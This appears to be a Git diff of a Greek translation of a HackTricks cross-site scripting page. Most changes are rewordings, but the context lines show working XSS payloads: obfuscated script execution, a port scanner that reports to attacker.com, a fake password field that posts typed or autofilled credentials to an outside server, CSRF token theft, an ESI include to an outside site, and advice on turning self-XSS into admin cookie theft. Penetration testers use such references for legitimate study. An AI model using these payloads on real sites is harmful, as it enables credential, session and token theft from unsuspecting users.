Επομένως, αν διαπιστώσετε ότι η είσοδός σας **αντανακλάται** μέσα σε ένα αλφαριθμητικό JS που χρησιμοποιεί ανάστροφες μονάδες, μπορείτε να καταχραστείτε τη σύνταξη `${ ... }` για να εκτελέσετε **οποιοδήποτε JS κώδικα**:
|
||||
Για να κατασκευάσετε **αλφαριθμητικά** εκτός από μονά και διπλά εισαγωγικά, το JS δέχεται επίσης **ανάστροφες μονάδες** **` `` `**. Αυτό είναι γνωστό ως πρότυπα αλφαριθμητικών καθώς επιτρέπουν τη **ενσωμάτωση εκφράσεων JS** χρησιμοποιώντας τη σύνταξη `${ ... }`.\
|
||||
Συνεπώς, αν διαπιστώσετε ότι η είσοδός σας **αντανακλάται** μέσα σε ένα αλφαριθμητικό JS που χρησιμοποιεί ανάστροφες μονάδες, μπορείτε να καταχραστείτε τη σύνταξη `${ ... }` για να εκτελέσετε **οποιοδήποτε JS κώδικα**:
|
||||
|
||||
Αυτό μπορεί να **καταχραστεί** χρησιμοποιώντας:
|
||||
```javascript
|
||||
|
@ -508,7 +507,7 @@ loop``````````````
|
|||
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
|
||||
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
|
||||
```
|
||||
### Κωδικοποίηση Unicode για εκτέλεση JS
|
||||
### Κωδικοποίηση Unicode εκτέλεσης JS
|
||||
```javascript
|
||||
\u{61}lert(1)
|
||||
\u0061lert(1)
|
||||
|
@ -560,7 +559,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
|||
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
|
||||
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
|
||||
```
|
||||
**Νέες γραμμές στο JavaScript (από το** [**κόλπο με τις νέες γραμμές στο JavaScript**](./#javascript-new-lines) **)**
|
||||
**Νέες γραμμές στο JavaScript (από το κόλπο** [**Νέα γραμμή στο JavaScript**](./#javascript-new-lines) **)**
|
||||
```javascript
|
||||
//Javascript interpret as new line these chars:
|
||||
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
|
||||
|
@ -568,7 +567,7 @@ String.fromCharCode(13); alert('//\ralert(1)') //0x0d
|
|||
String.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8
|
||||
String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9
|
||||
```
|
||||
**Λευκοί χαρακτήρες στη JavaScript**
|
||||
**Κενά στην JavaScript**
|
||||
```javascript
|
||||
log=[];
|
||||
function funct(){}
|
||||
|
@ -732,7 +731,7 @@ top[8680439..toString(30)](1)
|
|||
````
|
||||
## **Ευπάθειες DOM**
|
||||
|
||||
Υπάρχει **κώδικας JS** που χρησιμοποιεί **δεδομένα που ελέγχεται από κακόβουλο χρήστη** όπως το `location.href`. Ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό για να εκτελέσει αυθαίρετο κώδικα JS.\
|
||||
Υπάρχει **κώδικας JS** που χρησιμοποιεί **δεδομένα που ελέγχεται μη ασφαλώς από επιτιθέμενο** όπως το `location.href`. Ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό για να εκτελέσει αυθαίρετο κώδικα JS.\
|
||||
**Λόγω της επέκτασης της εξήγησης των** [**ευπαθειών DOM μεταφέρθηκε σε αυτήν τη σελίδα**](dom-xss.md)**:**
|
||||
|
||||
{% content-ref url="dom-xss.md" %}
|
||||
|
@ -742,11 +741,33 @@ top[8680439..toString(30)](1)
|
|||
Εκεί θα βρείτε μια λεπτομερή **εξήγηση του τι είναι οι ευπάθειες DOM, πώς προκαλούνται και πώς μπορούν να εκμεταλλευτούν**.\
|
||||
Επίσης, μην ξεχνάτε ότι **στο τέλος της αναφερόμενης ανάρτησης** μπορείτε να βρείτε μια εξήγηση σχετικά με τις [**επιθέσεις DOM Clobbering**](dom-xss.md#dom-clobbering).
|
||||
|
||||
### Αναβάθμιση Self-XSS
|
||||
|
||||
### Cookie XSS
|
||||
|
||||
Αν μπορείτε να προκαλέσετε ένα XSS στέλνοντας το φορτίο μέσα σε ένα cookie, αυτό συνήθως είναι ένα self-XSS. Ωστόσο, αν βρείτε ένα **ευάθρο subdomain σε XSS**, μπορείτε να εκμεταλλευτείτε αυτό το XSS για να ενθάρρυνετε ένα cookie σε ολόκληρο τον τομέα καταφέρνοντας να προκαλέσετε το cookie XSS στον κύριο τομέα ή άλλα υποτομεία (αυτά που είναι ευάθρο στο cookie XSS). Για αυτό μπορείτε να χρησιμοποιήσετε την επίθεση cookie tossing:
|
||||
|
||||
{% content-ref url="../hacking-with-cookies/cookie-tossing.md" %}
|
||||
[cookie-tossing.md](../hacking-with-cookies/cookie-tossing.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Μπορείτε να βρείτε μια μεγάλη κατάχρηση αυτής της τεχνικής σε [**αυτήν την ανάρτηση στο blog**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
|
||||
|
||||
### Αποστολή της συνεδρίας σας στον διαχειριστή
|
||||
|
||||
Ίσως ένας χρήστης μπορεί να μοιραστεί το προφίλ του με τον διαχειριστή και αν το self XSS βρίσκεται μέσα στο προφίλ του χρήστη και ο διαχειριστής τον έχει πρόσβαση, θα ενεργοποιήσει την ευπάθεια.
|
||||
|
||||
### Καθρεφτισμός Συνεδρίας
|
||||
|
||||
Αν βρείτε κάποιο self XSS και η ιστοσελίδα έχει ένα **καθρεφτισμό συνεδρίας για διαχειριστές**, για παράδειγμα επιτρέποντας στους πελάτες να ζητήσουν βοήθεια και ώστε ο διαχειριστής να σας βοηθήσει βλέποντας αυτό που βλέπετε στη συνεδρία σας αλλά από τη συνεδρία του.
|
||||
|
||||
Μπορείτε να κάνετε τον **διαχειριστή να ενεργοποιήσει το self XSS** και να κλέψετε τα cookies/συνεδρία του.
|
||||
|
||||
## Άλλες Παρακάμψεις
|
||||
|
||||
### Κανονικοποιημένο Unicode
|
||||
|
||||
Μπορείτε να ελέγξετε αν τα **αντανακλώμενα τιμές** υποβάλλονται σε **κανονικοποίηση Unicode** στον εξυπηρετητή (ή στην πλευρά του πελάτη) και να εκμεταλλευτείτε αυτήν τη λειτουργικότητα για να παρακάμψετε τις προστασίες. [**Βρείτε ένα παράδειγμα εδώ**](../unicode-injection/#xss-cross-site-scripting).
|
||||
Μπορείτε να ελέγξετε αν οι **αντανακλώμενες τιμές** υποβάλλονται σε **κανονικοποίηση unicode** στον εξυπηρετητή (ή στην πλευρά του πελάτη) και να εκμεταλλευτείτε αυτή τη λειτουργία για να παρακάμψετε προστασίες. [**Βρείτε ένα παράδειγμα εδώ**](../unicode-injection/#xss-cross-site-scripting).
|
||||
|
||||
### Παράκαμψη σημαίας PHP FILTER\_VALIDATE\_EMAIL
|
||||
```javascript
|
||||
|
@ -754,7 +775,7 @@ top[8680439..toString(30)](1)
|
|||
```
|
||||
### Παράκαμψη Ruby-On-Rails
|
||||
|
||||
Λόγω των **RoR μαζικών εκχωρήσεων** οι εισαγωγικοί χαρακτήρες εισάγονται στο HTML και στη συνέχεια η περιοριστική πολιτική των εισαγωγικών χαρακτήρων παρακάμπτεται και μπορούν να προστεθούν επιπλέον πεδία (onfocus) μέσα στην ετικέτα.\
|
||||
Λόγω των **RoR μαζικών εκχωρήσεων** οι εισαγωγικοί χαρακτήρες εισάγονται στο HTML και στη συνέχεια η περιοριστική εισαγωγή αγνοείται και μπορούν να προστεθούν επιπλέον πεδία (onfocus) μέσα στην ετικέτα.\
|
||||
Παράδειγμα φόρμας ([από αυτήν την αναφορά](https://hackerone.com/reports/709336)), αν στείλετε το φορτίο:
|
||||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
|
@ -795,7 +816,7 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
|||
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
|
||||
document['default'+'View'][`\u0061lert`](3)
|
||||
```
|
||||
### XSS με εισαγωγή κεφαλίδας σε μια απάντηση 302
|
||||
### XSS με εισαγωγή κεφαλίδων σε μια απάντηση 302
|
||||
|
||||
Εάν ανακαλύψετε ότι μπορείτε **να εισάγετε κεφαλίδες σε μια απάντηση Ανακατεύθυνσης 302**, μπορείτε να προσπαθήσετε να **κάνετε τον περιηγητή να εκτελέσει αυθαίρετο JavaScript**. Αυτό **δεν είναι εύκολο** καθώς οι σύγχρονοι περιηγητές δεν ερμηνεύουν το σώμα της απάντησης HTTP εάν ο κωδικός κατάστασης της απάντησης HTTP είναι 302, οπότε μια απλή φόρτωση cross-site scripting είναι άχρηστη.
|
||||
|
||||
|
@ -804,7 +825,7 @@ document['default'+'View'][`\u0061lert`](3)
|
|||
|
||||
### Μόνο Γράμματα, Αριθμοί και Τελείες
|
||||
|
||||
Εάν μπορείτε να υποδείξετε το **κλήση** ότι το javascript θα **εκτελέσει** περιορισμένο σε αυτούς τους χαρακτήρες. [**Διαβάστε αυτήν την ενότητα αυτής της ανάρτησης**](./#javascript-function) για να βρείτε πώς να εκμεταλλευτείτε αυτήν τη συμπεριφορά.
|
||||
Εάν μπορείτε να υποδείξετε το **κλήση** που το javascript θα **εκτελέσει** περιορισμένο σε αυτούς τους χαρακτήρες. [**Διαβάστε αυτήν την ενότητα αυτής της ανάρτησης**](./#javascript-function) για να βρείτε πώς να εκμεταλλευτείτε αυτήν τη συμπεριφορά.
|
||||
|
||||
### Έγκυροι Τύποι Περιεχομένου `<script>` για XSS
|
||||
|
||||
|
@ -842,8 +863,8 @@ const char* const kSupportedJavascriptTypes[] = {
|
|||
```
|
||||
Η απάντηση είναι:
|
||||
|
||||
* **module** (προεπιλεγμένο, δεν χρειάζεται εξήγηση)
|
||||
* [**webbundle**](https://web.dev/web-bundles/): Τα Web Bundles είναι μια λειτουργία με την οποία μπορείτε να συσκευάσετε μια σειρά δεδομένων (HTML, CSS, JS...) μαζί σε ένα αρχείο **`.wbn`**.
|
||||
* **module** (προεπιλεγμένο, τίποτα να εξηγηθεί)
|
||||
* [**webbundle**](https://web.dev/web-bundles/): Τα Web Bundles είναι μια λειτουργία με την οποία μπορείτε να συσκευάσετε ένα σωρό δεδομένων (HTML, CSS, JS...) μαζί σε ένα αρχείο **`.wbn`**.
|
||||
```html
|
||||
<script type="webbundle">
|
||||
{
|
||||
|
@ -870,9 +891,9 @@ import moment from "moment";
|
|||
import { partition } from "lodash";
|
||||
</script>
|
||||
```
|
||||
Αυτή η συμπεριφορά χρησιμοποιήθηκε στο [**συγκεκριμένο άρθρο**](https://github.com/zwade/yaca/tree/master/solution) για την ανακατανομή μιας βιβλιοθήκης σε eval για να την καταχραστεί και να ενεργοποιήσει XSS.
|
||||
Αυτή η συμπεριφορά χρησιμοποιήθηκε στο [**συγκεκριμένο άρθρο**](https://github.com/zwade/yaca/tree/master/solution) για την ανακατανομή μιας βιβλιοθήκης στο eval για να την καταχραστεί και να ενεργοποιήσει XSS.
|
||||
|
||||
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Αυτό το χαρακτηριστικό είναι κυρίως για την επίλυση ορισμένων προβλημάτων που προκαλούνται από το προ-αποτύπωμα. Λειτουργεί ως εξής:
|
||||
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Αυτό το χαρακτηριστικό είναι κυρίως για να λύσει ορισμένα προβλήματα που προκαλούνται από το προ-αποτύπωμα. Λειτουργεί ως εξής:
|
||||
```html
|
||||
<script type="speculationrules">
|
||||
{
|
||||
|
@ -888,7 +909,7 @@ import { partition } from "lodash";
|
|||
}
|
||||
</script>
|
||||
```
|
||||
### Τύποι Περιεχομένου Ιστού για XSS
|
||||
### Τύποι Περιεχομένου Ιστοσελίδας για XSS
|
||||
|
||||
(Από [**εδώ**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Οι ακόλουθοι τύποι περιεχομένου μπορούν να εκτελέσουν XSS σε όλους τους browsers:
|
||||
|
||||
|
@ -901,7 +922,7 @@ import { partition } from "lodash";
|
|||
* application/rss+xml (απενεργοποιημένο)
|
||||
* application/atom+xml (απενεργοποιημένο)
|
||||
|
||||
Σε άλλους browsers μπορούν να χρησιμοποιηθούν και άλλοι **`Τύποι-Περιεχομένου`** για την εκτέλεση αυθαίρετου JS, ελέγξτε: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||
Σε άλλους browsers μπορούν να χρησιμοποιηθούν άλλοι **`Content-Types`** για την εκτέλεση αυθαίρετου JS, ελέγξτε: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||
|
||||
### Τύπος Περιεχομένου xml
|
||||
|
||||
|
@ -915,7 +936,7 @@ import { partition } from "lodash";
|
|||
```
|
||||
### Ειδικά Πρότυπα Αντικατάστασης
|
||||
|
||||
Όταν χρησιμοποιείται κάτι σαν **`"some {{template}} data".replace("{{template}}", <user_input>)`**. Ο επιτιθέμενος θα μπορούσε να χρησιμοποιήσει [**ειδικές αντικαταστάσεις συμβόλων**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) για να προσπαθήσει να παρακάμψει κάποιες προστασίες: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
|
||||
Όταν χρησιμοποιείται κάτι σαν το **`"some {{template}} data".replace("{{template}}", <user_input>)`**. Ο επιτιθέμενος θα μπορούσε να χρησιμοποιήσει [**ειδικές αντικαταστάσεις συμβόλων**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) για να προσπαθήσει να παρακάμψει κάποιες προστασίες: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
|
||||
|
||||
Για παράδειγμα σε [**αυτό το άρθρο**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), αυτό χρησιμοποιήθηκε για να **αποδράσει μια συμβολοσειρά JSON** μέσα σε ένα script και να εκτελέσει αυθαίρετο κώδικα.
|
||||
|
||||
|
@ -967,13 +988,13 @@ import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
|
|||
```
|
||||
* Πρόσβαση στο `require` έμμεσα
|
||||
|
||||
[Σύμφωνα με αυτό](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) τα modules τυλίγονται από το Node.js μέσα σε μια συνάρτηση, όπως αυτό:
|
||||
[Σύμφωνα με αυτό](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) τα modules τυλίγονται από το Node.js μέσα σε μια συνάρτηση, όπως εδώ:
|
||||
```javascript
|
||||
(function (exports, require, module, __filename, __dirname) {
|
||||
// our actual module code
|
||||
});
|
||||
```
|
||||
Επομένως, αν από αυτή τη μονάδα μπορούμε να **καλέσουμε μια άλλη συνάρτηση**, είναι δυνατόν να χρησιμοποιήσουμε το `arguments.callee.caller.arguments[1]` από αυτή τη συνάρτηση για να έχουμε πρόσβαση στο **`require`**:
|
||||
Επομένως, αν από αυτή την μονάδα μπορούμε **να καλέσουμε μια άλλη συνάρτηση**, είναι δυνατόν να χρησιμοποιήσουμε το `arguments.callee.caller.arguments[1]` από αυτή τη συνάρτηση για να έχουμε πρόσβαση στο **`require`**:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```javascript
|
||||
|
@ -1158,7 +1179,7 @@ q.shift()();
|
|||
```javascript
|
||||
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
|
||||
```
|
||||
### Σαρωτής Θύρας (websockets)
|
||||
### Σαρωτής Θυρών (websockets)
|
||||
```python
|
||||
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
|
||||
for(var i=0; i<ports.length; i++) {
|
||||
|
@ -1175,7 +1196,7 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
|
|||
```
|
||||
_Οι σύντομοι χρόνοι υποδεικνύουν ένα θύρα που ανταποκρίνεται_ _Οι μακρύτεροι χρόνοι υποδεικνύουν ότι δεν υπάρχει ανταπόκριση._
|
||||
|
||||
Ελέγξτε τη λίστα των απαγορευμένων θυρών στο Chrome [**εδώ**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) και στο Firefox [**εδώ**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||
Εξετάστε τη λίστα των απαγορευμένων θυρών στο Chrome [**εδώ**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) και στο Firefox [**εδώ**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||
|
||||
### Κουτί για να ζητηθούν διαπιστευτήρια
|
||||
```markup
|
||||
|
@ -1192,7 +1213,7 @@ mode: 'no-cors',
|
|||
body:username.value+':'+this.value
|
||||
});">
|
||||
```
|
||||
Όταν εισάγεται οποιαδήποτε δεδομένα στο πεδίο κωδικού πρόσβασης, το όνομα χρήστη και ο κωδικός πρόσβασης στέλνονται στον διακομιστή του επιτιθέμενου, ακόμα κι αν ο πελάτης επιλέξει έναν αποθηκευμένο κωδικό και δεν γράψει τίποτα, τα διαπιστευτήρια θα εξαχθούν.
|
||||
Όταν εισάγεται οποιαδήποτε δεδομένα στο πεδίο κωδικού πρόσβασης, το όνομα χρήστη και ο κωδικός πρόσβασης στέλνονται στον διακομιστή του επιτιθέμενου, ακόμα κι αν ο πελάτης επιλέξει έναν αποθηκευμένο κωδικό και δεν γράψει τίποτα, τα διαπιστευτήρια θα εξαγοραστούν.
|
||||
|
||||
### Keylogger
|
||||
|
||||
|
@ -1203,7 +1224,7 @@ body:username.value+':'+this.value
|
|||
* [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
|
||||
* Μπορείτε επίσης να χρησιμοποιήσετε το metasploit `http_javascript_keylogger`
|
||||
|
||||
### Κλοπή των τεκμηρίων CSRF
|
||||
### Κλοπή διακριτικών CSRF
|
||||
```javascript
|
||||
<script>
|
||||
var req = new XMLHttpRequest();
|
||||
|
@ -1284,9 +1305,9 @@ document.getElementById("message").src += "&"+e.data;
|
|||
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
|
||||
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
|
||||
```
|
||||
### Regex - Πρόσβαση Κρυφού Περιεχομένου
|
||||
### Regex - Πρόσβαση σε Κρυφό Περιεχόμενο
|
||||
|
||||
Από [**αυτή την ανάλυση**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) είναι δυνατόν να μάθουμε ότι ακόμα κι αν μερικές τιμές εξαφανιστούν από το JS, είναι ακόμα δυνατόν να τις βρούμε σε γνωρίσματα JS σε διαφορετικά αντικείμενα. Για παράδειγμα, ένα input ενός REGEX είναι ακόμα δυνατόν να το βρούμε αφού η τιμή του input του regex αφαιρεθεί:
|
||||
Από [**αυτή την ανάλυση**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) είναι δυνατόν να μάθουμε ότι ακόμα κι αν ορισμένες τιμές εξαφανιστούν από το JS, είναι ακόμα δυνατόν να τις βρούμε σε χαρακτηριστικά JS σε διαφορετικά αντικείμενα. Για παράδειγμα, ένα input ενός REGEX είναι ακόμα δυνατόν να βρεθεί ακόμα και μετά την αφαίρεση της τιμής του input του regex:
|
||||
```javascript
|
||||
// Do regex with flag
|
||||
flag="CTF{FLAG}"
|
||||
|
@ -1301,7 +1322,7 @@ console.log(RegExp.input)
|
|||
console.log(RegExp.rightContext)
|
||||
console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])
|
||||
```
|
||||
### Λίστα Brute-Force
|
||||
### Λίστα Επίθεσης Brute-Force
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}
|
||||
|
||||
|
@ -1317,14 +1338,14 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
|
|||
|
||||
### XSS προς SSRF
|
||||
|
||||
Καταφέρατε XSS σε έναν **ιστότοπο που χρησιμοποιεί προσωρινή μνήμη**; Δοκιμάστε **να το αναβαθμίσετε σε SSRF** μέσω της εισαγωγής Edge Side Include με αυτό το φορτίο:
|
||||
Καταφέρατε XSS σε μια **ιστοσελίδα που χρησιμοποιεί caching**; Δοκιμάστε **να το αναβαθμίσετε σε SSRF** μέσω της ενσωμάτωσης Edge Side Include με αυτό το payload:
|
||||
```python
|
||||
<esi:include src="http://yoursite.com/capture" />
|
||||
```
|
||||
Χρησιμοποιήστε το για να παρακάμψετε περιορισμούς cookie, φίλτρα XSS και πολλά άλλα!\
|
||||
Περισσότερες πληροφορίες σχετικά με αυτήν την τεχνική εδώ: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
|
||||
|
||||
### XSS σε δυναμικά δημιουργημένα PDF
|
||||
### XSS σε δυναμικά δημιουργημένο PDF
|
||||
|
||||
Αν μια ιστοσελίδα δημιουργεί ένα PDF χρησιμοποιώντας είσοδο που ελέγχεται από τον χρήστη, μπορείτε να προσπαθήσετε να **εξαπατήσετε το bot** που δημιουργεί το PDF να **εκτελέσει αυθαίρετο κώδικα JS**.\
|
||||
Έτσι, αν το **bot δημιουργού PDF βρει** κάποια είδους **ετικέτες HTML**, θα τις **ερμηνεύσει**, και μπορείτε να **καταχραστείτε** αυτήν τη συμπεριφορά για να προκαλέσετε ένα **Server XSS**.
|
||||
|
@ -1333,7 +1354,7 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
|
|||
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Αν δεν μπορείτε να ενσωματώσετε ετικέτες HTML, μπορεί να αξίζει να προσπαθήσετε να **ενσωματώσετε δεδομένα PDF**:
|
||||
Αν δεν μπορείτε να ενσωματώσετε ετικέτες HTML, μπορεί να αξίζει να δοκιμάσετε να **ενσωματώσετε δεδομένα PDF**:
|
||||
|
||||
{% content-ref url="pdf-injection.md" %}
|
||||
[pdf-injection.md](pdf-injection.md)
|
||||
|
@ -1423,7 +1444,7 @@ id="foo"/>
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Αν σας ενδιαφέρει η **καριέρα στο χάκινγκ** και να χακάρετε το αχακάριστο - **προσλαμβάνουμε!** (_απαιτείται άριστη γραπτή και προφορική γνώση της πολωνικής_).
|
||||
Αν σας ενδιαφέρει η **καριέρα στο χάκινγκ** και να χακάρετε το αχάκαριστο - **προσλαμβάνουμε!** (_απαιτείται άριστη γραπτή και προφορική γνώση της πολωνικής_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -1437,6 +1458,6 @@ id="foo"/>
|
|||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο GitHub.
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue